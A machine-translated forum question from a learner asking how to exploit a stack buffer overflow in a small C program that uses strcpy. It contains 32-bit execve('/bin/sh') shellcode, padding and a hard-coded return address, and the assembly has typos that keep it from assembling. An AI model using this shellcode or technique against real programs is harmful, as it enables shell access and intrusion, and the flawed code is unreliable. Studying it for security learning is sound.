У меня есть код C и код сборки, который я должен использовать для выполнения атаки bufferoverflow на программу C с использованием GDB. Я бы, вероятно, использовал команду run $ (cat), но ..Переполнение буфера с примером
Я не могу скомпилировать код ассемблера - times NNNN db 0xff
дает ошибку в назначении не постоянных значений, но я действительно не знаю, что он делает , или должен делать.
Кажется, что последние 4 строки работают как удар по стеку, на который указывает esi, не так ли?
Линия mov byte al, 0x0b
вызывает execv с аргументами/bin/sh0, AAAA и BBBB. Почему нам нужны последние два?
Наконец int 0x80
, который снова я не знаю, что он делает.
Кроме того, jmp short callit
->callit doit
В чем разница между этим и только начиная с doit с самого начала?
Если бы кто-то мог мне помочь, я был бы благодарен, я потерялся после работы в Интернете в течение нескольких часов.
NASM код x86:
BITS 32
jmp short callit
doit:
pop esi
xor eax, eax
mov byte [esi+7], al
lea bx, [esi]
mov dword [esi+8], ebx
mov dword [esi+12], eax
mov byte al, 0x0b
mov ebx, esi
lea exc, [esi+8]
lea edx, [esi+12]
int 0x80
callit
call doit
db '/bin/sh#AAAABBBB'
times NNNN db 0xff
dd 0xbffff050
db 0x00
код C:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv) {
char buffer[256];
if (argc > 1) {
strcpy(buffer, argv[1]);
}
printf("%p\n", buffer);
return 0;
}
Но .. что я должен там положить? Я не знаю, какова цель этих объявлений db/dd. В целом, я знаю, что мне нужно переполнять буфер точно так, чтобы я мог изменить адрес, на который ret перескакивает в strcpy, предположительно, вызов execv с оболочкой, но я теряюсь на том, как это сделать: / – user3885166